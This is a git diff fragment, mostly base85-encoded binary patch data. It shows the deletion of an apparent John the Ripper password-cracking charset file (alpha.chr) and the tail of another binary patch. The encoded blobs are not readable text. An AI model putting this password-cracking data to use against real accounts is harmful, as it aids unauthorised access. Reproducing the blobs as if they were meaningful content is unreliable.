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 bzvBOW=uZdtaBToySMQ%lsQ#b-_y7D~ZG1Iz diff --git a/data/john/run.linux.x86.any/alpha.chr b/data/john/run.linux.x86.any/alpha.chr deleted file mode 100644 index 48586c0510b07dfa5b8245bd7b96eac8b574cc2b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 131549 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 